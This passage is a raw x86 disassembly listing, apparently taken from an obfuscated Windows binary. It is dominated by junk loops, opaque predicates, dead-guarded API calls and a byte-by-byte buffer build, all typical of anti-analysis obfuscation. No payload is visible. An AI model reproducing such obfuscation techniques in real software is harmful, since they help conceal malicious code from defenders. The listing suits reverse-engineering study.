jmp 0x1003e096
mov dword [ebp - 0x81c], 1
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [ebp - 0x81c]
cmp ecx, dword [eax]
jg 0x1003e0ba
mov dword [ebp - 0xe78], 1
jmp 0x1003e0c1
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0xe78]
mov dword [ebp - 0x6d4], eax
mov esi, dword [ebp - 0x6d4]
push 2
lea ecx, [ebp - 0x278]
call fcn.100267ee
cmp esi, dword [eax]
jge 0x1003e0f0
mov dword [ebp - 0x824], 1
jmp 0x1003e0f7
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x824], eax
je 0x1003e117
cmp dword [ebp - 0x6d4], 0
je 0x1003e117
mov dword [ebp - 0xbc4], 1
jmp 0x1003e11e
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0xbc4]
mov dword [ebp - 0x654], eax
mov esi, dword [ebp - 0x654]
push 2
lea ecx, [ebp - 0x278]
call fcn.100267ee
cmp esi, dword [eax]
jge 0x1003e14d
mov dword [ebp - 0x82c], 1
jmp 0x1003e154
and dword [ebp - 0x82c], 0
cmp dword [ebp - 0x82c], 0
jg 0x1003e169
mov dword [ebp - 0xd94], 1
jmp 0x1003e170
and dword [ebp - 0xd94], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [ebp - 0xd94]
cmp ecx, dword [eax]
jle 0x1003e19a
mov eax, 0xa251
test eax, eax
jne 0x1003e19a
and dword [ebp - 0x834], 0
jmp 0x1003e1a4
mov dword [ebp - 0x834], 1
imul esi, dword [ebp - 0x834], 0
push 0
lea ecx, [ebp - 0x278]
call fcn.100267ee
cmp esi, dword [eax]
jne 0x1003e1c8
mov dword [ebp - 0xbcc], 1
jmp 0x1003e1cf
and dword [ebp - 0xbcc], 0
cmp dword [ebp - 0xbcc], 0xda1e
je 0x1003e1e7
mov dword [ebp - 0x83c], 1
jmp 0x1003e1ee
and dword [ebp - 0x83c], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [ebp - 0x83c]
add ecx, dword [eax]
cmp ecx, 0xee00
jge 0x1003e213
cmp dword [ebp - 0x654], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov esi, eax
push 1
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x1003e242
mov dword [ebp - 0xed8], 1
jmp 0x1003e249
and dword [ebp - 0xed8], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [ebp - 0xed8]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x28]
jl 0x1003e271
mov dword [ebp - 0x844], 1
jmp 0x1003e278
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x13a0], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1690]
call fcn.100267d2
jmp 0x1003dd55
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x1003e2b2
push 0
call dword [sym.imp.USER32.dll_IsIconic]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x278]
call fcn.100267d2
mov dword [ebp - 0x13a8], 0x18a6
lea eax, [ebp - 0x13a8]
push eax
call fcn.10036b87
pop ecx
mov dword [ebp - 0xd44], eax
mov dword [ebp - 0xbd4], 0x6430
mov dword [ebp - 0x13b0], 0x1000b62c
cmp dword [ebp - 0xbd4], 0x6625
jle 0x1003e375
and dword [ebp - 0x494], 0
jmp 0x1003e314
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0x3cc3
jge 0x1003e375
and dword [ebp - 0x30c], 0
jmp 0x1003e336
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x5526
jge 0x1003e373
mov eax, dword [ebp - 0x494]
add eax, dword [ebp - 0x30c]
cdq
mov dword [ebp - 0x109c], eax
mov dword [ebp - 0x1098], edx
push dword [ebp - 0x1098]
push dword [ebp - 0x109c]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1003e329
jmp 0x1003e307
cmp dword [ebp - 0xbd4], 0x6424
jge 0x1003e391
mov edx, dword [ebp - 0x13b0]
mov ecx, 0x10094c18
call fcn.10029186
push 2
lea ecx, [ebp - 0x724]
call fcn.10026750
mov dword [ebp - 4], 7
mov dword [ebp - 0x614], 0
jmp 0x1003e3be
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 2
jge 0x1003e3e0
push dword [ebp - 0x614]
lea ecx, [ebp - 0x724]
call fcn.100267ee
mov dword [eax], 7
jmp 0x1003e3b1
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
and dword [eax], 0
jmp 0x1003e416
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
mov dword [ebp - 0x84c], eax
mov eax, dword [ebp - 0x84c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x84c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
cmp dword [eax], 0x1d
jge 0x1003e9eb
push 2
lea ecx, [ebp - 0x750]
call fcn.10026750
mov byte [ebp - 4], 8
mov dword [ebp - 0x314], 0
jmp 0x1003e456
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 2
jge 0x1003e478
push dword [ebp - 0x314]
lea ecx, [ebp - 0x750]
call fcn.100267ee
mov dword [eax], 0x32a27689
jmp 0x1003e449
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
and dword [eax], 0
jmp 0x1003e4ae
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0xd9c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xd9c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
cmp dword [eax], 0xfffffffa
jle 0x1003e9d7
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x894], 1
mov dword [ebp - 0x49c], 0
jmp 0x1003e4f1
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 4
jge 0x1003e50d
mov eax, dword [ebp - 0x49c]
mov dword [ebp + eax*4 - 0x1b30], 1
jmp 0x1003e4e4
mov dword [ebp - 0x1f0], 0x1d
jmp 0x1003e526
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xfffffffd
jle 0x1003e9c4
mov dword [ebp - 0x31c], 0xffffffff
mov dword [ebp - 0x5bc], 1
mov dword [ebp - 0x854], 0xfaa83fb1
mov dword [ebp - 0x88c], 0xc518f82e
mov dword [ebp - 0x31c], 0x1b
jmp 0x1003e574
mov eax, dword [ebp - 0x31c]
dec eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x15
je 0x1003e9bf
mov dword [ebp - 0x13c0], 0xd6bce8d5
mov dword [ebp - 0xdac], 0x40e1
mov dword [ebp - 0x13d8], 0x1000b648
cmp dword [ebp - 0xdac], 0x42f8
jle 0x1003e69b
and dword [ebp - 0x4a4], 0
jmp 0x1003e5c5
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0x2a1
jge 0x1003e68d
and dword [ebp - 0x55c], 0
jmp 0x1003e5eb
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x62b1
jge 0x1003e688
and dword [ebp - 0x324], 0
jmp 0x1003e611
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x1114
jge 0x1003e683
and dword [ebp - 0x32c], 0
jmp 0x1003e633
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x35e4
jge 0x1003e681
mov eax, dword [ebp - 0x55c]
cdq
idiv dword [ebp - 0x324]
mov eax, dword [ebp - 0x4a4]
sub eax, edx
mov ecx, dword [ebp - 0x32c]
shl eax, cl
cdq
mov dword [ebp - 0x10a8], eax
mov dword [ebp - 0x10a4], edx
push dword [ebp - 0x10a4]
push dword [ebp - 0x10a8]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1003e626
jmp 0x1003e604
jmp 0x1003e5de
jmp 0x1003e5b8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
mov ecx, dword [ebp - 0x5bc]
mov eax, dword [eax]
lea eax, [ecx + eax - 2]
mov dword [ebp - 0x854], eax
mov esi, dword [ebp - 0x854]
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
cmp esi, dword [eax]
je 0x1003e6dd
mov dword [ebp - 0xbdc], 1
jmp 0x1003e6e4
and dword [ebp - 0xbdc], 0
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xbdc]
jg 0x1003e707
mov dword [ebp - 0x85c], 1
jmp 0x1003e70e
and dword [ebp - 0x85c], 0
mov esi, dword [ebp - 0x85c]
sub esi, dword [ebp - 0x1f0]
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
cmp esi, dword [eax]
jl 0x1003e737
mov dword [ebp - 0xe80], 1
jmp 0x1003e73e
and dword [ebp - 0xe80], 0
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
mov esi, dword [eax]
add esi, dword [ebp - 0xe80]
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
imul esi, dword [eax]
test esi, esi
jne 0x1003e770
mov eax, 0xbe18
test eax, eax
je 0x1003e795
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x1003e795
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
cmp dword [eax], 0
je 0x1003e795
mov dword [ebp - 0x13b8], 1
jmp 0x1003e79c
and dword [ebp - 0x13b8], 0
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
push 1
lea ecx, [ebp - 0x724]
call fcn.100267ee
cmp dword [eax], 0x4600
jge 0x1003e7ca
mov dword [ebp - 0x864], 1
jmp 0x1003e7d1
and dword [ebp - 0x864], 0
cmp dword [ebp - 0x864], 0x6343
jl 0x1003e7e9
mov dword [ebp - 0xbe4], 1
jmp 0x1003e7f0
and dword [ebp - 0xbe4], 0
push 0
lea ecx, [ebp - 0x724]
call fcn.100267ee
mov ecx, dword [ebp - 0xbe4]
cmp ecx, dword [eax]
jg 0x1003e813
mov dword [ebp - 0x86c], 1
jmp 0x1003e81a
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x86c], 0xfffffff6
je 0x1003e82f
mov dword [ebp - 0xda4], 1
jmp 0x1003e836
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0x5bc]
cmp dword [ebp - 0xda4], eax
jl 0x1003e850
mov dword [ebp - 0x874], 1
jmp 0x1003e857
and dword [ebp - 0x874], 0
cmp dword [ebp - 0x874], 0
jle 0x1003e86c
mov dword [ebp - 0xbec], 1
jmp 0x1003e873
and dword [ebp - 0xbec], 0
cmp dword [ebp - 0xbec], 1
jl 0x1003e88e
mov eax, 0x64e7
test eax, eax
jne 0x1003e88e
and dword [ebp - 0x87c], 0
jmp 0x1003e898
mov dword [ebp - 0x87c], 1
cmp dword [ebp - 0x87c], 0x87dd
jg 0x1003e8b0
mov dword [ebp - 0x72c], 1
jmp 0x1003e8b7
and dword [ebp - 0x72c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x72c]
mov dword [ebp + eax - 0x1b30], ecx
mov eax, dword [ebp - 0x13c0]
cmp dword [ebp - 0x72c], eax
jg 0x1003e8e4
mov dword [ebp - 0xf20], 1
jmp 0x1003e8eb
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0x5bc]
cmp dword [ebp - 0xf20], eax
je 0x1003e905
mov dword [ebp - 0x13c8], 1
jmp 0x1003e90c
and dword [ebp - 0x13c8], 0
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x18bc], eax
push 0
lea ecx, [ebp - 0x750]
call fcn.100267ee
xor eax, eax
cmp eax, 0x6d2926a0
jb 0x1003e93a
mov dword [ebp - 0x884], 1
jmp 0x1003e941
and dword [ebp - 0x884], 0
cmp dword [ebp - 0x884], 0x9583
je 0x1003e95e
xor eax, eax
inc eax
je 0x1003e95e
mov dword [ebp - 0xbf4], 1
jmp 0x1003e965
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0xbf4], eax
jl 0x1003e97f
mov dword [ebp - 0x13d0], 1
jmp 0x1003e986
and dword [ebp - 0x13d0], 0
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x18d8], eax
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0xdac], 0x3d2f
jge 0x1003e9ba
mov edx, dword [ebp - 0x13d8]
mov ecx, 0x10094c18
call fcn.10029186
jmp 0x1003e567
jmp 0x1003e519
cmp dword [ebp - 0x894], 0
je 0x1003e9d2
jmp 0x1003e48a
jmp 0x1003e48a
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x750]
call fcn.100267d2
jmp 0x1003e3f2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x724]
call fcn.100267d2
mov dword [ebp - 0xe4], 0xfffffffa
mov dword [ebp - 0xbfc], 0x63de
mov dword [ebp - 0x13e8], 0x1000b6a0
cmp dword [ebp - 0xbfc], 0x6479
jle 0x1003eafe
and dword [ebp - 0x334], 0
jmp 0x1003ea3e
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x5ace
jge 0x1003eafe
and dword [ebp - 0x4ac], 0
jmp 0x1003ea64
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x3897
jge 0x1003eaf9
and dword [ebp - 0x33c], 0
jmp 0x1003ea8a
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x2bd6
jge 0x1003eaf4
mov eax, dword [ebp - 0x334]
imul eax, dword [ebp - 0x4ac]
xor eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0x10b4], eax
mov dword [ebp - 0x10b0], edx
push dword [ebp - 0x10b0]
push dword [ebp - 0x10b4]
lea ecx, [ebp - 0x1cf8]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x13e0], eax
mov ecx, dword [ebp - 0x13e0]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1cf8]
call fcn.1002640c
jmp 0x1003ea7d
jmp 0x1003ea57
jmp 0x1003ea31
push 2
lea ecx, [ebp - 0x17d4]
call fcn.10026750
mov dword [ebp - 4], 9
cmp dword [ebp - 0xbfc], 0x6131
jge 0x1003eb2a
push dword [ebp - 0x13e8]
call fcn.10079103
pop ecx
mov dword [ebp - 0x564], 0
jmp 0x1003eb43
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 2
jge 0x1003eb65
push dword [ebp - 0x564]
lea ecx, [ebp - 0x17d4]
call fcn.100267ee
mov dword [eax], 0x8f6c74aa
jmp 0x1003eb36
mov dword [ebp - 0xe4], 0
jmp 0x1003eb7e
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xa
jne 0x1003ec88
push 4
lea ecx, [ebp - 0xfac]
call fcn.10026750
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x84], 0
jmp 0x1003ebb5
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x1003ebd1
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x1788], 0x1369
jmp 0x1003eba8
mov dword [ebp - 0x84], 0
jmp 0x1003ebea
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x1003ec0c
push dword [ebp - 0x84]
lea ecx, [ebp - 0xfac]
call fcn.100267ee
mov dword [eax], 0xe57bf5cd
jmp 0x1003ebdd
push 2
lea ecx, [ebp - 0xfac]
call fcn.100267ee
mov dword [eax], 1
jmp 0x1003ec45
push 2
lea ecx, [ebp - 0xfac]
call fcn.100267ee
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x89c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x89c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xfac]
call fcn.100267ee
cmp dword [eax], 0
jl 0x1003ec74
push 2
lea ecx, [ebp - 0xfac]
call fcn.100267ee
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x1788], 0
je 0x1003ec72
jmp 0x1003ec74
jmp 0x1003ec21
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xfac]
call fcn.100267d2
jmp 0x1003eb71
mov dword [ebp - 0xe4], 0
jmp 0x1003eca1
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jg 0x1003ede1
mov byte [ebp - 0x18e], 0
movzx eax, byte [ebp - 0x18e]
test eax, eax
je 0x1003ecce
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov dword [ebp - 0xe88], 0x78c6
mov dword [ebp - 0x13f0], 0x1000b6e8
cmp dword [ebp - 0xe88], 0x79a1
jle 0x1003ed9e
and dword [ebp - 0x344], 0
jmp 0x1003ed08
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x5716
jge 0x1003ed9e
and dword [ebp - 0x4b4], 0
jmp 0x1003ed2e
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0x4db7
jge 0x1003ed99
and dword [ebp - 0x34c], 0
jmp 0x1003ed50
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0xc9c
jge 0x1003ed97
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x4b4]
shl eax, cl
mov ecx, dword [ebp - 0x34c]
shl eax, cl
cdq
mov dword [ebp - 0x10c0], eax
mov dword [ebp - 0x10bc], edx
push dword [ebp - 0x10bc]
push dword [ebp - 0x10c0]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1003ed43
jmp 0x1003ed21
jmp 0x1003ecfb
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x1003edc0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp dword [ebp - 0xe88], 0x758f
jge 0x1003eddc
mov edx, dword [ebp - 0x13f0]
mov ecx, 0x10094c18
call fcn.10029186
jmp 0x1003ec94
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17d4]
call fcn.100267d2
mov byte [ebp - 0x260], 2
mov byte [ebp - 0x25f], 0x3f
mov byte [ebp - 0x25e], 3
mov byte [ebp - 0x25d], 0x22
mov byte [ebp - 0x25c], 6
mov byte [ebp - 0x25b], 0x25
mov byte [ebp - 0x25a], 4
mov byte [ebp - 0x259], 0xfe
mov byte [ebp - 0x258], 0x72
mov byte [ebp - 0x257], 0xdf
mov byte [ebp - 0x256], 0xaf
mov byte [ebp - 0x255], 0xa
mov byte [ebp - 0x254], 0x36
mov byte [ebp - 0x253], 7
mov byte [ebp - 0x252], 0x2c
mov byte [ebp - 0x251], 0xb
mov byte [ebp - 0x250], 0x11
mov byte [ebp - 0x24f], 8
mov byte [ebp - 0x24e], 0x17
mov byte [ebp - 0x24d], 0
mov byte [ebp - 0x24c], 0x28
mov byte [ebp - 0x24b], 1
mov byte [ebp - 0x24a], 0x22
mov byte [ebp - 0x249], 0xc
mov byte [ebp - 0x248], 0x32
mov byte [ebp - 0x247], 5
mov byte [ebp - 0x246], 0x25
mov byte [ebp - 0x245], 4
mov byte [ebp - 0x244], 0x17
mov byte [ebp - 0x243], 9
mov byte [ebp - 0x242], 0xb
mov dword [ebp - 0x8a4], 0x31d3
mov dword [ebp - 0x1400], 0x1000b730
cmp dword [ebp - 0x8a4], 0x3425
jle 0x1003ef9d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
and dword [ebp - 0x5f4], 0
jmp 0x1003ef0d
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 0x4e4e
jge 0x1003ef9d
and dword [ebp - 0x354], 0
jmp 0x1003ef33
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xe72
jge 0x1003ef98
mov eax, dword [ebp - 0x5f4]
mov ecx, dword [ebp - 0x354]
sar eax, cl
cdq
mov dword [ebp - 0x10cc], eax
mov dword [ebp - 0x10c8], edx
push dword [ebp - 0x10c8]
push dword [ebp - 0x10cc]
lea ecx, [ebp - 0x1bfc]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x13f8], eax
mov ecx, dword [ebp - 0x13f8]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1bfc]
call fcn.1002640c
jmp 0x1003ef26
jmp 0x1003ef00
cmp dword [ebp - 0x8a4], 0x2dfb
jge 0x1003efb5
push dword [ebp - 0x1400]
call fcn.10079103
pop ecx
push 2
lea ecx, [ebp - 0x1428]
call fcn.10026750
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x4bc], 0
jmp 0x1003efe2
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 2
jge 0x1003f004
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x1428]
call fcn.100267ee
mov dword [eax], 0x9b55bb2c
jmp 0x1003efd5
push 1
lea ecx, [ebp - 0x1428]
call fcn.100267ee
mov dword [eax], 0x1d
jmp 0x1003f03d
push 1
lea ecx, [ebp - 0x1428]
call fcn.100267ee
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc04]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xc04]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1428]
call fcn.100267ee
cmp dword [eax], 4
jne 0x1003f0a7
mov dword [ebp - 0x1710], 0x2526041
mov dword [ebp - 0x170c], 0x2526041
mov dword [ebp - 0x1708], 0x2526041
mov dword [ebp - 0x1704], 0x2526041
mov byte [ebp - 0x190], 0
movzx eax, byte [ebp - 0x190]
test eax, eax
je 0x1003f091
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1710], 0
je 0x1003f0a2
jmp 0x1003f0a7
jmp 0x1003f019
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1428]
call fcn.100267d2
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x260]
or eax, 0x4b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x260]
and ecx, 0x4b
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x260]
mov byte [ebp + ecx - 0xfec], al
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x8ac], 0x4e02
mov dword [ebp - 0x14d0], 0x1000b76c
cmp dword [ebp - 0x8ac], 0x4f4d
jle 0x1003f1f1
and dword [ebp - 0x35c], 0
jmp 0x1003f130
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x1f31
jge 0x1003f1f1
and dword [ebp - 0x56c], 0
jmp 0x1003f156
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 0x7001
jge 0x1003f1ec
and dword [ebp - 0x364], 0
jmp 0x1003f17c
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x2357
jge 0x1003f1e7
mov eax, dword [ebp - 0x35c]
add eax, dword [ebp - 0x56c]
mov ecx, dword [ebp - 0x364]
shl eax, cl
cdq
mov dword [ebp - 0x10d8], eax
mov dword [ebp - 0x10d4], edx
push dword [ebp - 0x10d4]
push dword [ebp - 0x10d8]
lea ecx, [ebp - 0x1d10]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1408]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1d10]
call fcn.1002640c
jmp 0x1003f16f
jmp 0x1003f149
jmp 0x1003f123
mov dword [ebp - 0x18e0], 0x8bbeb927
cmp dword [ebp - 0x8ac], 0x4acf
jge 0x1003f213
push dword [ebp - 0x14d0]
call fcn.10079103
pop ecx
mov dword [ebp - 0x4c4], 0
jmp 0x1003f22c
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 3
jge 0x1003f248
mov eax, dword [ebp - 0x4c4]
mov dword [ebp + eax*4 - 0x774], 0
jmp 0x1003f21f
mov dword [ebp - 0x50], 0
jmp 0x1003f258
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jg 0x1003f490
mov dword [ebp - 0x23c], 0xe57bf5cd
mov dword [ebp - 0x8bc], 0xcd76ce4a
mov dword [ebp - 0x23c], 0
jmp 0x1003f28f
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jg 0x1003f48b
mov dword [ebp - 0x8b4], 0x53061ece
mov dword [ebp - 0xdb4], 0x617
mov dword [ebp - 0x14e0], 0x1000b7a8
cmp dword [ebp - 0xdb4], 0x71a
jle 0x1003f377
and dword [ebp - 0x36c], 0
jmp 0x1003f2e0
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x6142
jge 0x1003f36b
and dword [ebp - 0x5c4], 0
jmp 0x1003f302
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0x2fec
jge 0x1003f366
mov eax, dword [ebp - 0x36c]
imul eax, dword [ebp - 0x5c4]
cdq
mov dword [ebp - 0x10e4], eax
mov dword [ebp - 0x10e0], edx
push dword [ebp - 0x10e0]
push dword [ebp - 0x10e4]
lea ecx, [ebp - 0x1c2c]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x14d8], eax
mov ecx, dword [ebp - 0x14d8]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c2c]
call fcn.1002640c
jmp 0x1003f2f5
jmp 0x1003f2d3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
cmp dword [ebp - 0xdb4], 0x609
jge 0x1003f38f
push dword [ebp - 0x14e0]
call fcn.10079103
pop ecx
mov dword [ebp - 0x374], 0
jmp 0x1003f3a8
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 1
jge 0x1003f3c4
mov eax, dword [ebp - 0x374]
mov dword [ebp + eax*4 - 0x14a4], 0x79a7b445
jmp 0x1003f39b
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x1964], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x774]
mov dword [ebp - 0x8b4], eax
imul eax, dword [ebp - 0x8b4], 0x51eb
cmp dword [ebp - 0x8bc], eax
jl 0x1003f3fe
mov dword [ebp - 0xc0c], 1
jmp 0x1003f405
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xc0c]
add eax, 0xffff
cmp eax, dword [ebp - 0x8bc]
jl 0x1003f424
mov dword [ebp - 0xee0], 1
jmp 0x1003f42b
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x774]
cmp eax, dword [ebp - 0xee0]
je 0x1003f449
mov dword [ebp - 0x8c4], 1
jmp 0x1003f450
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x8c4]
jne 0x1003f469
or eax, 0xffffffff
jne 0x1003f469
and dword [ebp - 0xc14], 0
jmp 0x1003f473
mov dword [ebp - 0xc14], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc14]
mov dword [ebp + eax - 0x14a4], ecx
jmp 0x1003f282
jmp 0x1003f251
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x774], 1
je 0x1003f53c
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x18cc], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x774]
mov dword [ebp - 0x1934], eax
or eax, 0xffffffff
je 0x1003f4d5
